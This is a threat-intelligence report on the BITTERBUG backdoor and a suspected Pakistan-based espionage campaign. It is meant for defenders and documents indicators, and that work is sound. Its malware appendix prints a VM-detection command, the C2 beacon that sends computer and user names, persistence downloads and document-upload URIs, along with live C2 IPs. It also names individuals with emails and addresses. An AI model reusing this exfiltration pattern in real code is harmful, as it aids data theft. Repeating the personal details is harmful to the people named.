<doc>
<cover>
<heading>Operation
Arachnophobia</heading>
Caught in the Spider’s Web




Rich Barger | Cyber Squared Inc.
Mike Oppenheim | FireEye Labs
Chris Phillips | FireEye Labs
</cover>

<toc>
Contents
Team Introduction....................................................................................................................................................... 1

Key Findings.................................................................................................................................................................. 1

Summary....................................................................................................................................................................... 1

Backstory......................................................................................................................................................................2

VPSNOC/Digital Linx/Tranchulas............................................................................................................................ 4

Technical Observations...............................................................................................................................................8

Conclusion....................................................................................................................................................................11

Appendix A: Malware Details................................................................................................................................... 12

Appendix B: MD5 Hashes and Malware Table........................................................................................................ 17

Appendix C: VPSNOC Email Header Analysis....................................................................................................... 20

Appendix D: Inconsistencies Observed................................................................................................................... 21

Appendix E: VPSNOC & Digital Linx Associations.................................................................................................23

Appendix F: Personas.................................................................................................................................................24

      Persona #1................................................................................................................................................................................ 24

      Persona #2................................................................................................................................................................................ 27

Appendix G: Tranchulas........................................................................................................................................... 30

Digital Appendix 1: Research Collateral...................................................................................................................32

Digital Appendix 2: Raw Email Communications...................................................................................................33

Digital Appendix 3: Screenshot Archives................................................................................................................34

Digital Appendix 4: Maltego Visualization.............................................................................................................35


</toc>


<footer>i    •     OPERATION ARACHNOPHOBIA</footer>


<section>
<heading>Team Introduction</heading>
Cyber Squared Inc.’s ThreatConnect Intelligence Research Team (TCIRT) tracks a number of threat groups around the world.
Beginning in the summer of 2013, TCIRT identified a suspected Pakistani-origin threat group. This group was revealed by TCIRT
publicly in August 2013. In the months following the disclosure, we identified new activity. Cyber Squared partnered with experts
at FireEye Labs to examine these new observations in an attempt to discover new research and insight into the group and its
Operation “Arachnophobia”. The following report is a product of collaborative research and threat intelligence sharing between
Cyber Squared Inc.’s TCIRT and FireEye Labs.

</section>
<section>
<heading>
Key Findings</heading>
•	 While we are not conclusively attributing BITTERBUG activity to Tranchulas or a specific Pakistani entity, we can confidently
    point to many characteristics of a Pakistan-based cyber exploitation effort that is probably directed against Indian targets and/or
    those who are involved in India-Pakistan issues.

•	 The threat actors utilized a hosting provider that is a Pakistani-based company with subleased VPS space within the U.S. for
    command and control (C2).

•	 The customized malware (BITTERBUG) used by these threat actors has only been observed hosted on and communicating with
    two IP addresses operated by a Pakistan-based hosting provider.

•	 Early variants of the BITTERBUG malware had build paths containing the strings “Tranchulas” and “umairaziz27”.
    Tranchulas is the name of a Pakistani security firm; Umair Aziz is the name of a Tranchulas employee.

•	 Following the release of our blog post highlighting this activity and the malware’s build strings, the threat actors appear to have
    modified their binary file paths to make them more generic.

•	 Employees at both the Pakistan-based hosting provider and Tranchulas appear within each others’ social networks.

</section>
<section>
<heading>
Summary</heading>
On August 2, 2013, the TCIRT published the blog “Where There is Smoke, There is Fire: South Asian Cyber Espionage Heats
Up” in which TCIRT identified custom malware, later dubbed BITTERBUG by FireEye, suspected to be linked to Pakistani-based
exploitation activity directed against Indian entities. We found debug path references to “Tranchulas”, which is also the name
of a Pakistani security company. Tranchulas claims to support “national level cyber security programs” and the development of
offensive and defensive cyber capabilities. At the time, the incident seemed to be an isolated one for TCIRT, but it was only the
beginning. Our suspicions of Tranchulas’ involvement in the activity began to mount, based on a series of events that occurred
both before and after the release of our blog post.

During the past year, we communicated with Tranchulas and the Pakistan-based hosting provider. Suspicious responses and
oddly similar replies received from both companies to our inquiries, as well as anomalies in their email headers, prompted us to
research the companies further. Our research revealed:

•	 The C2 hosting provider (VPSNOC) has likely been conducting business operations from within Pakistan, subleasing
    infrastructure from U.S. providers.

•	 VPNSOC and Tranchulas employees have maintained some type of undefined relationship given connections via social media.

•	 Both organizations have employed or are affiliated with personnel who have offensive cyber expertise.

•	 When TCIRT was initially contacted by Tranchulas following our original blog post, they denied any involvement in the activity.
    Tranchulas maintained that they were being framed, and that they were already aware of the activity prior to both our blog post
    and our contact. However, inconsistencies in their claims and their responses made such a scenario questionable.

</section>


<footer>1    •    OPERATION ARACHNOPHOBIA</footer>

<section>
<heading>Backstory</heading>
TCIRT began tracking a set of activity involving a BITTERBUG variant in May 2013. To our knowledge this customized malware
has only ever been observed hosted on and communicating with two command and control nodes: 199.91.173.43<fn>1</fn> and
199.91.173.45.<fn>2</fn> <fn>3</fn> According to Whois records, those IP addresses were registered to a web-hosting firm in Kansas City,
Missouri. Based on public records, this organization appears to be a legal entity chartered to conduct business in Missouri.<fn>4</fn>

On July 24, 2013, TCIRT contacted the Kansas City-based hosting provider to notify them of the malicious activities emanating
from IP address 199.91.173.43. The hosting provider subsequently introduced<fn>5</fn> TCIRT to their client VPNSOC, the customer
responsible for subleasing the IP address. Later that day, TCIRT received a response<fn>6</fn> from support@vpsnoc.com providing
limited information on the server and related traffic (Figure 2). When TCIRT sent follow-up communications, VPSNOC did not
respond, further increasing our suspicions.


<figure></figure>

          <caption>                                    Figure 2: VPSNOC Response</caption>


<footnote>

1	       https://www.virustotal.com/en/ip-address/199.91.173.43/information/
2	       https://www.virustotal.com/en/ip-address/199.91.173.45/information/
3	       http://www.shodanhq.com/search?q=93c546-b1-4dbcbc6438380
4	       https://bsd.sos.mo.gov/BusinessEntity/BusinessEntityDetail.aspx?page=beSearch&ID=2936099
5	       Digital Appendix 2: Email#1 Subject- Re- Contact Info (Date- Wed, 24 Jul 2013 14-00-29 -0500).eml
6	       Digital Appendix 2: Email#2 Subject- Re- Contact Info (Date- Thu, 25 Jul 2013 02-28-41 +0500).eml
</footnote>



<footer>2    •     OPERATION ARACHNOPHOBIA</footer>
While reviewing the metadata of VPSNOC’s July 24, 2013 email response, we noticed the email was sent from a +0500 time zone.
This time zone usage is consistent with Pakistan’s time zone.<fn>7</fn>

The TCIRT published details of the initial activity in the aforementioned blog post on August 2, 2013. Four days later on August <fn>6</fn>,
2013, the Tranchulas Chief Executive Officer, Zubair Khan, contacted us regarding the blog post and its subsequent press coverage.<fn>8</fn>
Khan submitted “Response_ThreatConnect.docx”<fn>9</fn> as an explanation of the observed activity to both the media and the
TCIRT indicating that the debug paths using “Tranchulas” and “umairaziz27” was “done by developer of malware to portray
wrong impression about Tranchulas and mislead malware analysts”. Notably, Khan included a screenshot of an email message. The
message was reportedly a response from VPSNOC to an email message from Tranchulas sent on July 21, 2013, purportedly to notify
VPSNOC of the same malicious activity identified by TCIRT. However, we noted certain anomalies in this message.



<figure></figure>
         <caption>      Figure 3: Screenshot (image1.png) included within Response_ThreatConnect.docx</caption>


As seen in Figure 3 the “email message”<fn>10</fn> was “sent” to VPSNOC from an unidentified tranchulas.com email address on “Tue,
Jul 21, 2013 at 11:36 PM.” July 21, 2013 was not a Tuesday and in fact was a Sunday. The mismatched date suggests that this
email message was potentially modified in order to support the claim that Tranchulas was aware of, and had already reported the
exploitation activity. TCIRT speculates that “Tuesday” was hastily chosen because our own official notification to VPSNOC was sent
on Wednesday the 24th. In addition, the “response” received by Tranchulas is nearly identical to that received by TCIRT. We believe
that Tranchulas may have obtained information about TCIRT’s notification to VPSNOC through a pre-established relationship.<fn>11</fn>


<footnote>
7	Digital Appendix 2: Raw Email Communications (Email#2 Subject- Re- Contact Info (Date- Thu, 25 Jul 2013 02-28-41 +0500.eml) &
   (Email#1 Subject- Re- Contact Info (Date- Wed, 24 Jul 2013 14-00-29 -0500.eml)
8	        http://www.theregister.co.uk/2013/08/07/india_cyberespionage/
9	Digital Appendix 2: Raw Email Communications (Email#3 Subject- Re- Regarding 20130731A- South Asia Cyber Espionage Heats Up
   (Date- Wed, 7 Aug 2013 03-18-57 +0500).eml)
10	       Digital Appendix 1: Research Collateral image1.png (MD5:d224f39f8e20961b776c238731821d16) within Response_ThreatConnect.docx
11	       Appendix F: Personas (Persona #2)
</footnote>



<footer>3    •     OPERATION ARACHNOPHOBIA</footer>
The TCIRT responded to Mr. Khan’s official explanation with a follow-up inquiry, offering Khan an opportunity to explain the notable
date inconsistency within the email screenshot. The TCIRT also requested that Mr. Khan share the actual email message with the
original attached headers. Mr. Khan did not address the TCIRT question, but rather deferred our request to Mr. Hamza Qamar,
a Penetration Testing Team Lead at Tranchulas. On August 15, 2013, three days later, Qamar responded to TCIRT with a brief
denial<fn>12</fn> of any modifications to the screenshot (other than email address anonymization) and specifically referred TCIRT back to
VPSNOC support (support@vpsnoc.com) for any follow up questions.

Astonished by this dismissal and deflection, TCIRT immediately began to explore the relationship between VPSNOC and Tranchulas.

</section>
<section>
<heading>
VPSNOC/Digital Linx/Tranchulas</heading>
During our research into VPSNOC, we identified that it is actually based in, or conducts partial operations from within, Pakistan.
The company only gives the impression of operating from Kansas City through marketing and the use of leased IP space (Figure
4). The Whois records for vpsnoc.com revealed that the domain was registered by Digital Linx Hosting. Digital Linx is also a
Pakistan-based hosting company (Figure 5).



<figure></figure>
         <caption>                    Figure 4: Screenshot of VPSnoc.com About us page</caption>


<footnote>

12	Digital Appendix 2: Raw Email Communications (Email#4 Subject- Re- Regarding 20130731A- South Asia Cyber Espionage Heats Up -
    (Date- Thu, 15 Aug 2013 12-52-54 +0500).eml
</footnote>


<footer>4    •     OPERATION ARACHNOPHOBIA</footer>
<figure></figure>
               <caption>Figure 5: Digital Linx (digitallinx.com)                             
                            Website indicating its location                                    </caption>

<figure></figure>
<caption>Figure 6: Screenshot of DigitalLinx.net
            contact page</caption>

As seen in Figure 6, the administrative email address is admin@digitallinx.org.<fn>13</fn> This is the same registrant record for the
digitallinx.net domain.<fn>14</fn> The domains digitillinx.org, digitallinx.net, and digitallinx.com share current
and historical similarities in their WHOIS records and sitemap.xml files <fn>15</fn> <fn>16</fn> that imply they are all controlled by the same individual
or entity. The domain digitallinx.com is registered to Muhammad Naseer Bhatti (Digital Linx Founder)<fn>17</fn> <fn>18</fn> <fn>19</fn> who uses email
addresses naseer@digitallinx.com and nbhatti@gmail.com. The domain is also registered to the address 638-F Johar
Town, Lahore Pakistan.<fn>20</fn>

The contact telephone number listed on Digital Linx’ web site is 925-665-1427 (Figure 6), and is also used in the WHOIS record
for defiantmarketing.com<fn>21</fn>.

The domain defiantmarketing.com is registered to Abunasar Khan. The registration lists VPSNOC as the registrant organization,
abunasar@yahoo.com as the registration email address, and House 12, Street 21, F-8/1 Islamabad Federal 44000 as the
registration address. Abunasar Khan has been observed using the aliases “agnosticon” <fn>22</fn> and “agnostic”. From this we were able to
locate an advertisement in the Blackhatworld forum from April 2012 posted by agnosticon promoting VPSNOC and identifying it as
a subdivision of Digital Linx Hosting (Figure 7).<fn>23</fn> Though none of this information is surprising, it further suggests that both Bhatti and
Abunasar Khan work or worked for Digital Linx and VPSNOC and during that time were both located in Pakistan.<fn>24</fn>


<footnote>
13	       https://whois.domaintools.com/vpsnoc.com
14	       https://whois.domaintools.com/digitallinx.net
15	       http://webcache.googleusercontent.com/search?q=cache:CtCiQUGgUaoJ:www.digitallinx.net/sitemap.xml+&cd=1&hl=en&ct=clnk&gl=us
16	       http://digitallinx.net/Contact.html
17	       https://whois.domaintools.com/digitallinx.com
18	       http://sa.linkedin.com/pub/muhammad-naseer-bhatti/9/18a/815
19	       https://groups.google.com/forum/#!original/securityfocus2/9325p2as3IU/BqKQJwdlZ4YJ
20	       https://github.com/digitallinx/vBilling/blob/master/CHANGELOG
21	       https://whois.domaintools.com/defiantmarketing.com
22	       http://www.blackhatworld.com/blackhat-seo/members/32481-agnosticon.html
23	       http://www.blackhatworld.com/blackhat-seo/hosting/430705-unmetered-vps-hosting-get-50-off-your-first-month-exclusive-coupons-bhw.html
24	       https://dazzlepod.com/rootkit/?page=284
</footnote>



<footer>5    •     OPERATION ARACHNOPHOBIA</footer>
<figure></figure>
                   <caption>Figure 7: Blackhatworld advertisement identifying VPSNOC as a Digital Linx subdivision<fn>25</fn></caption>


Additional research into Abunasar Khan identified several registered domains and fragments of his online presence. Based on his
websites and account information, he appears to have an interest or participated in the Antisec<fn>26</fn> and Anonymous<fn>27</fn> movements
(Figure 8). He also used “anony mo us” in the registration name field of a personal account <fn>28</fn>.

In addition, Abunasar Khan’s Google+ profile revealed connections to at least one Tranchulas employee, Hamza Qamar<fn>29</fn> and a
Digital Linx employee, Shoaib Riaz.<fn>30</fn> <fn>31</fn>Hamza Qamar, the Team Lead for Penetration Testing at Tranchulas, with whom TCIRT last
spoke.<fn>32</fn> Visiting Hamza Qamar’s Google+ page (Figure 9), the only directly connected person was Abunasar Khan. At this point, it
shows that a probable VPNSOC employee with ties or interests in hacking has an undefined but potentially close relationship with
Hamza Qamar, the Penetration Testing employee from Tranchulas.


<figure></figure>

                                    <caption>       Figure 8: Abunasar.net main page</caption>


<footnote>

25	       http://vpsnoc.com/order.png
26	       http://abunasar.net
27	       http://pastebin.com/rqVGqh1q
28	       https://dazzlepod.com/rootkit/?page=284
29	       https://plus.google.com/105774284158907153401/about
30	       https://plus.google.com/105059395104464629441/about
31	       http://lists.horde.org/archives/horde/Week-of-Mon-20061225/032545.html
32	       https://plus.google.com/103436628630566104748/posts

</footnote>

<footer>6   •     OPERATION ARACHNOPHOBIA</footer>
<figure></figure>
              <caption>                  Figure 9: Qamar’s only connection out of 40+ followers</caption>


Qamar indicated on his public LinkedIn profile that he “engaged in system and enterprise level network and Web application
security testing for clients ranging from large federal agencies, DoD, and commercial clients”, though it is unclear which “DoD”
is referenced (e.g., whether the Pakistani Ministry of Defense or some other nation’s defense department). Tranchulas identifies
government (presumably Pakistan’s government) as an operational sector for its work. Tranchulas’ offensive cyber initiative
services are offered to “national-level cyber security programs” <fn>33</fn> <fn>34</fn> indicating commercial demand from “national-level” customers.
Though Tranchulas<fn>35</fn> brands itself as a multi-national company, with respective addresses within the United Kingdom<fn>36</fn>, the United
States<fn>37</fn>, and New Zealand<fn>38</fn>. We found evidence that these addresses are all associated with either virtual office spaces or
address forwarding services.

For further background information on these personas, please see Appendix F: Personas.

The following is a summary of the relationships between the hosting organizations and Tranchulas:

•	 VPNSOC IP space was used as command and control nodes for attackers using variants of the BITTERBUG malware that
    contained build strings that referenced “Tranchulas” and a Tranchulas employee.

•	 Tranchulas and VPNSOC were in direct communication at some point in July-August 2013.

•	 VPNSOC is a subsidiary of Digital Linx.

•	 Tranchulas, VPNSOC, Digital Linx were all physically located in Pakistan but maintained virtual presence within the U.S.

•	 Hamza Qamar was an employee of Tranchulas.

<footnote>
33	http://www.prnewswire.co.uk/news-releases/tranchulas-steps-into-the-global-cyber-strategy-market-with-launch-of-the-offensive-cyber-
    initiative-oci-230411011.html
34	       Digital Appendix 3: Screenshot Archives (tranchulas.com/offensive-cyber-initiative-oci.png)
35	       Digital Appendix 3: Screenshot Archives (tranchulas.com/contact-us)
36	       http://www.londonpresence.com/contact-us/
37	       http://nextspace.us/nextspace-union-square-san-francisco/
38	       http://www.privatebox.co.nz/virtual-office/virtual-office-address.php
</footnote>


<footer>7    •     OPERATION ARACHNOPHOBIA</footer>
•	 Muhammad Naseer Bhatti was the self-proclaimed founder of Digital Linx.

•	 Abunasar Khan was affiliated with AntiSec and VPNSOC.

•	 Digital Linx founder Muhammad Naseer Bhatti had at least a working relationship with VPNSOC employee Abunasar Khan<fn>39</fn> –
    connected through domain registrations and a common Google+ profile for Shoaib Riaz (another Digital Linx employee).

•	 VPNSOC employee Abunasar Khan had a direct connection to Tranchulas employee Hamza Qamar through Google+.

Note: A walkthrough of our research is available in Appendices C, D and E.

</section>
<section>
<heading>
Technical Observations</heading>
Metadata Analysis:

As mentioned earlier, during the email exchanged with Zubair Khan, he sent TCIRT a Microsoft Word document (.docx). In
reviewing the document metadata for “Response_ThreatConnect.docx “, TCIRT identified that it contained the creator
properties of “hp.” TCIRT compared the metadata of two benign BITTERBUG-associated decoy documents from July 2013 and
found that both also had the author of “hp” (Figure 10).

<figure>
                        Decoys associated with BITTERBUG                               Tranchulas Documents

</figure>


         <caption>                         Figure 10: Matching Document Author Metadata</caption>


<footnote>

39	       http://www.know-hosting.com/view/27108-digitallinx.html
</footnote>


<footer>8    •     OPERATION ARACHNOPHOBIA</footer>
While the author field of “hp” doesn’t conclusively prove a relationship, it contributes to the body of circumstantial evidence which
links properties of the official Tranchulas response to the properties of decoy documents that were used in conjunction with
BITTERBUG targeting campaigns.
</section>
<section>
<heading>Malware Analysis:</heading>

CyberSquared Inc. partnered with FireEye for a second technical review of the malware associated with this activity. FireEye
analyzed the malware, which they call BITTERBUG, and determined it to be a custom backdoor. The backdoor relies on various support components, including the non-malicious, publically available Libcurl<fn>40</fn> for installation, launch, and communications. In some variants, BITTERBUG has the ability to automatically target and exfiltrate files with extensions such as .doc, .xls, .pdf, .ppt, .egm, and .xml. The full malware report is included in Appendix A: Malware Details.

The earliest evidence of the malware family dates to April 2013, based on the Portable Executable (PE) compile times, with more than 10 BITTERBUG variants observed to date. The earliest samples of BITTERBUG contain the "Tranchulas" debug path (below), as mentioned in the August 2013 TCIRT blog post. These BITTERBUG variants were probably used in attacks around summer 2013, using possible lures related to the then-recent death of "Sarabjit Singh" (an Indian national imprisoned in Pakistan) and an Indian Government pension memorandum. As stated in the original blog (and raised in the formal Tranchulas response), several binaries contain references to "Cath" in the debug path. It is important to note that the "Cath" files are support components and not BITTERBUG variants, so it is probable that these were developed by another party but are a required component of the family.

<figure></figure>

Additional BITTERBUG variants were compiled in June and July 2013 that contained different identifiers in the debug paths: "Cert-India" (3 samples) and "umairaziz27" (1 sample).<fn>41</fn> The presence of "umairaziz27" in a debug path from one sample makes us wonder if this represents an operational security mistake. The debug path of "umairaziz27" led us to Twitter<fn>42</fn> and LinkedIn<fn>43</fn> accounts (on which a matching alias is used) that belong to a Tranchulas employee named Umair Aziz, who identified himself as an Information Security Analyst<fn>44</fn> and graduate of National University of Sciences and Technology<fn>45</fn> (NUST).<fn>46</fn> One of these samples was probably used in attacks in late summer 2013, using a "leaked report" lure which contained a decoy document related to Pakistan's alleged inability to locate Osama Bin Laden.

<figure></figure>

After publication of the TCIRT blog and our communications with Tranchulas occurred in August 2013, no new samples of BITTERBUG or its support components (based on compile times) were identified until September (various support components) and October (a new BITTERBUG variant). Interestingly, the samples compiled following the blog publication used entirely new and generic debug paths (Figure 11) as well as a compilation tactic to conceal the C2 address from static analysis. Between September and December, we observed more variations of BITTERBUG and its support components in terms of packaging, host-based activities,

<footnote>
40           http://curl.haxx.se/libcurl/
41           Appendix A: Malware Details
42           https://twitter.com/umairaziz27
43           http://pk.linkedin.com/in/umairaziz27
44           https://twitter.com/umairaziz27/status/332049978878996481
45           www.nust.edu.pk
46           http://www.nust.edu.pk/INSTITUTIONS/Directortes/ilo/Download%20Section/Graduate%20Profile%20SEECS%20%20BICSE.pdf
</footnote>
<footer>9    •     OPERATION ARACHNOPHOBIA</footer>
and decoys (or the lack of them) compared to the samples before our blog post. This could indicate that the threat actors were aware of the blog post and modified their malware and related components to distance them from prior indicators.

<figure></figure>
<caption>Figure 11: Generic Debug Path</caption>

Between December 2013 and late March 2014, we observed several new lures used in BITTERBUG self-extracting RAR (SFXRAR) files. One from December contained several BITTERBUG variants and used a decoy PDF document (Figure 12) related to the December arrest of Devyani Khobragade,<fn>47</fn> an Indian diplomat in the United States. In spring 2014, we observed a SFXRAR file with a filename lure related to the March 2014 disappearance of Malaysis Airlines Flight 370<fn>48</fn> (cast as a Pakistan-related hijacking). This SFXRAR contained the latest BITTERBUG variant, which had new dependencies on support components. Interestingly, this SFXRAR's filename was the only lure element related to the MH370 event; it did not contain a decoy document. We provide a more detailed report on this SFX and the related variant in Appendix A: Malware Details.

<figure></figure>
<caption>Figure 12: Screenshot of Indian diplomat arrest decoy PDF</caption>

BITTERBUG continued to rely on the same network behaviors to communicate with its C2s. Connections to its C2 nodes relied on
PHP and used communications that included “.php?compname=” and “.php?srs=”, as well as direct file/component retrieval
from the C2s. Though many of the samples that we have observed use direct IPs for HTTP communications, we have
observed more limited use of a No-IP domain.

<footnote>
47	         http://world.time.com/2013/12/18/us-to-review-devyani-khobragade-arrest-and-strip-search/
48	         http://www.businessinsider.com/mh370-investigators-find-evidence-of-a-mysterious-power-outage-during-the-early-part-of-its-flight-2014-6
</footnote>

</section>

<footer>10    •     OPERATION ARACHNOPHOBIA</footer>
<section>
<heading>
Conclusion</heading>
Operation Arachnophobia consists of an apparent targeted exploitation campaign, dating back to early 2013, using the
BITTERBUG malware family and seemingly directed against entities involved in India-Pakistan issues. The threat actor appears to
have exclusively used VPSNOC, a probable Pakistan-based VPS service provider who leased U.S. hosting services, for both the
delivery and C2 phases of attack. Research later identified that a Pakistan-based VPSNOC representative had a social network
affiliation with a Tranchulas employee as well as apparent affiliations with the Anonymous and AntiSec movements.

After the August 6, 2013 blog, Tranchulas provided TCIRT and the media an official statement and explanation of BITTERBUG
activity, however, this explanation contained discrepancies. The TCIRT addressed some of these discrepancies with Tranchulas
personnel, who were unresponsive, increasing our suspicion of the activity. We later observed BITTERBUG activity following
August 2013 with subtle changes that further generalized debug paths. It was this chain of events that served as a catalyst for
extra scrutiny of the activity and collaboration between the ThreatConnect and FireEye Labs teams to share information.

While we are not conclusively attributing BITTERBUG activity to Tranchulas or a specific Pakistani entity, we can confidently point
to many characteristics of a Pakistan-based cyber exploitation effort that is probably directed against Indian targets or those who
are involved in India-Pakistan issues. Many of the notable characteristics of the BITTERBUG activity suggest that this is indeed
part of a Pakistan-based cyber exploitation effort that has apparently attempted to obfuscate its malware characteristics and
origins (behind U.S. infrastructure), before and after public disclosure in August 2013.

On the surface, BITTERBUG serves as an example of how threat actors mask their operations across social, cultural and
geographic boundaries. More importantly, it demonstrates the value of threat intelligence sharing and industry collaboration. As
one organization begins to pull at a thread of evidence and share their findings with another, a larger understanding and shared
perspective is revealed. It is through this process that a shared awareness emerges into a larger, more comprehensive story that
explains what we are seeing and why - ultimately it is this story that better serves us all.

</section>


<footer>11    •     OPERATION ARACHNOPHOBIA</footer>

<section>
<heading>
APPENDIX</heading>
</section>
<section>
<heading>
APPENDIX A: Malware Details
</heading>
</section>
<section>
<heading>BITTERBUG</heading>
BITTERBUG is a backdoor executable capable of uploading and downloading files, listing running processes, generating file listings,
and automatically transferring selected files to its command and control (C2) server. BITTERBUG appears to be virtual machine aware
and may not execute on a VMWare or VirtualBox VM. We have observed BITTERBUG installed by a self-extracting RAR archive
disguised as a screensaver. Upon execution, the self-extracting RAR archive may extract configuration files, dependency DLLs, and
the BITTERBUG executable. The timeline below is of BITTERBUG activity from May 2013 through March 2014.


<figure></figure>

                 <caption>   Timeline of BITTERBUG characteristics vs.ThreatConnect events</caption>
</section>



<footer>12  •     OPERATION ARACHNOPHOBIA</footer>


<section>
<heading>Details</heading>
Upon execution the self-extracting RAR may install <BITTERBUG>.exe and the following DLLs:
<list>
•	 libcurld.dll – Used for downloading and uploading files

•	 msvcm90d.dll – C runtime library

•	 msvcp90d.dll – C runtime library

•	 msvcr90d.dll – C runtime library
</list>
The self-extracting RAR may install the following benign configuration files:
<list>
•	 Microsoft.VC90.DebugCRT.manifest – Compilation artifact

•	 BtcirEt.DZU – Self-extracting RAR configuration file

•	 SJeXSrA.KNX – Self-extracting RAR configuration file

•	 VCAKSQl.TNT – Self-extracting RAR configuration file
</list>
BITTERBUG first may execute the following Windows Management Instrumentation (WMI) command to detect the presence of a
virtual machine (VM):
<list>
•	 cmd.exe /c wmic diskdrive list brief >
  “%APPDATA%\Microsoft\recovery.txt”
</list>
BITTERBUG then may open recovery.txt and check for the presence of strings VBox or VMware. The backdoor then may
enter an infinite sleep loop if recovery.txt contains either one of the aforementioned strings (Example in Figure 13).


<figure></figure>

            <caption>       Figure 13: Example recovery.txt file from VMware virtual machine</caption>


Next BITTERBUG typically will beacon to the C2 server by sending the computer name and username of the compromised
system. An example beacon request is shown in Figure 14.


<figure>
               POST /path_active.php?compname=<%COMPUTERNAME%>_<%USERNAME%> HTTP/1.1
               Host: <c2_location>
               Accept: */*
               Content-Length: 25
               Content-Type: application/x-www-form-urlencoded
               <%COMPUTERNAME%>_<%USERNAME%>
</figure>
                 <caption>                        Figure 14: Initial C2 beacon</caption>




<footer>13  •     OPERATION ARACHNOPHOBIA</footer>
BITTERBUG then may perform an HTTP GET request for the following URI:
<list>
http://<c2_location>/checkpkg.php?compname=<%COMPUTERNAME%>_<%USERNAME%>
</list>
If the C2 server responds with a filename, the filename received is deleted from %APPDATA%\Microsoft<FILE_NAME_FROM_
C2>. The purpose of this command might be to delete older versions of BITTERBUG, although we have not observed this
command occurring in the wild.

BITTERBUG then may attempt to download the files listed in Table 1. The purpose of the first three files is unknown. The final two
files are downloaded to the user’s Startup directory and executed at startup in order to maintain persistence.

<table>
                           Request URI                                                    Download Path

      http://<c2_location>/versionchk.php?srs=436712384                            %APPDATA%\Microsoft\file.exe

           http://<c2_location>/vtris.php?srs=436712384                         %APPDATA%\Microsoft\percf001.dat

          http://<c2_location>/vtris1.php?srs=436712384                         %APPDATA%\Microsoft\percf002.dat

      http://<c2_location>/is_array_max.php?compname=                         %USERPROFILE%\Start Menu\Programs\
           <%COMPUTERNAME%>_<%USERNAME%>                                                Startup\wincheck.exe

         http://<c2_location>/is_array_pal.php?compname=                      %USERPROFILE%\Start Menu\Programs\
           <%COMPUTERNAME%>_<%USERNAME%>                                                 Startup\winsquirt.exe
</table>
       <caption>                       Table 1: Files downloaded by the backdoor</caption>


Next, BITTERBUG may scan through each drive letter and search recursively for files with the following file extensions: 
<list>
.doc, .ppt, .xls, .pdf, .docx, .pptx, .pps, .xlsx
</list>
BITTERBUG then typically creates a file list containing all documents (excluding those whose filename contains MediaUtils) to
the following locations:
<list>
•	 %APPDATA%\Microsoft\plang006.txt
•	 %APPDATA%\Microsoft\tlang006.txt
</list>
BITTERBUG may also write a list of all running processes to:
<list>
•	 %APPDATA%\Microsoft\prc.dat
</list>
Finally, BITTERBUG typically uploads the running process list, document file list, and all documents to the following URI:
<list>
•	 http://<c2_location>/fetch_updates_flex.php?compname=<%COMPUTERNAME%>_<%USERNAME%>
</list>
</section>
<section>
<heading>Host-Based Signatures</heading>
</section>
<section>
<heading>File System Residue</heading>

BITTERBUG may be extracted along with the following embedded files:
<list>
•	 %USERPROFILE%\5rv3fgk6\<BITTERBUG>.exe
•	 %USERPROFILE%\5rv3fgk6\libcurld.dll
•	 %USERPROFILE%\5rv3fgk6\msvcm90d.dll
•	 %USERPROFILE%\5rv3fgk6\msvcp90d.dll
•	 %USERPROFILE%\5rv3fgk6\msvcr90d.dll
•	 %USERPROFILE%\5rv3fgk6\Microsoft.VC90.DebugCRT.manifest




<footer>14  •     OPERATION ARACHNOPHOBIA</footer>
•	 %USERPROFILE%\5rv3fgk6\SJeXSrA.KNX
•	 %USERPROFILE%\5rv3fgk6\BtcirEt.DZU
•	 %USERPROFILE%\5rv3fgk6\VCAKSQl.TNT
</list>
The malware may create the following files:
<list>
•	 %APPDATA%\Microsoft\recovery.txt
•	 %APPDATA%\Microsoft\plang006.txt
•	 %APPDATA%\Microsoft\tlang006.txt
•	 %APPDATA%\Microsoft\prc.dat
•	 %APPDATA%\Microsoft\file.exe
•	 %APPDATA%\Microsoft\percf001.dat
•	 %APPDATA%\Microsoft\percf002.dat
•	 %USERPROFILE%\Start Menu\Programs\Startupwincheck.exe
•	 %USERPROFILE%\Start Menu\Programs\Startup\winsquirt.exe
</list>
</section>
<section>
<heading>Network-Based Signatures</heading>
•	 The malware typically communicates on TCP port 80:

•	 The malware may perform HTTP requests for the following URIs:
<list>
     •	 http://<c2_location>/checkpkg.php?compname=<%COMPUTERNAME%>_<%USERNAME%>
     •	 http://<c2_location>/is_array_max.php?compname=<%COMPUTERNAME%>_<%USERNAME%>
     •	 http://<c2_location>/is_array_pal.php?compname=<%COMPUTERNAME%>_<%USERNAME%>
     •	 http://<c2_location>/path_active.php?compname=<%COMPUTERNAME%>_<%USERNAME%>
     •	 http://<c2_location>/fetch_updates_flex.php?compname=<%COMPUTERNAME%>_<%USERNAME%>
     •	 http://<c2_location>/versionchk.php?srs=436712384
     •	 http://<c2_location>/vtris.php?srs=436712384
     •	 http://<c2_location>/vtris1.php?srs=436712384
</list>
</section>
<section>
<heading>File Manipulations</heading>
We observed other interesting operational security-oriented challenges in the post-blog post samples. In one case, an actor
appeared to manually null out the “Cert-India” user directory in one of the file paths (see figures 15 and 16 below) contained in
two binaries (support components). These files shared the same import hash (4e96e86db5a8a025b996aefdc218ff74) and were
virtually the same files minus modification to a few bytes in the second sample.


<figure></figure>

                           
<caption>Figure 15: Original file content for 7588ff900e32145cbcbc77837237aef8</caption>



<footer>15   •    OPERATION ARACHNOPHOBIA</footer>
<figure></figure>
              <caption>                   Figure 16: Nulled file path for 26616e6662b390ebdb588cdaaae5e4f6</caption>


As these samples point to, we also observed use of the C++ Boost libraries, which introduced a new file path to monitor for
operational security purposes. We observed at least one case in which files mixed old and new file paths, as seen in the figures 17
and 18 below.

<figure></figure>
<figure></figure>
<caption>Figures 17 and 18: Screenshots from two locations in 6e8c4d2d5d4e5e7853a1842b04a6bfdf</caption>

In both cases, it is possible that the actors intentionally did this in an attempt to mislead further research efforts into post-blog samples or cast suspicion on "Cert-India" as a more-revealing element. For example, analysis of files deployed alongside the nulled-out "Cert-India" sample mentioned above revealed a lack of concern over the same string. Alternatively, these inconsistencies could also indicate sloppy tradecraft and/or teamwork.

<figure>
                       C:\Users\Cert-
                       India\Documents\boost_1_53_0\boost/thread/win32/thread_primitives.hpp	
</figure>

<footer>16      •     OPERATION ARACHNOPHOBIA</footer>
</section>
<section>
<heading>
APPENDIX B: MD5 Hashes and Malware Table</heading>
BITTERBUG Hashes
<table>
                        MD5                                  File Size (bytes)                Compile Time
          be7de2f0cf48294400c714c9e28ecdd1                         158720                  2013-05-08T10:58:22Z

          fd3a713ebf60150b99fb09de09997a24                         158208                  2013-05-10T19:18:54Z

          03f528e752dee57b1ff050a72d30de60                         158208                  2013-05-23T17:21:19Z

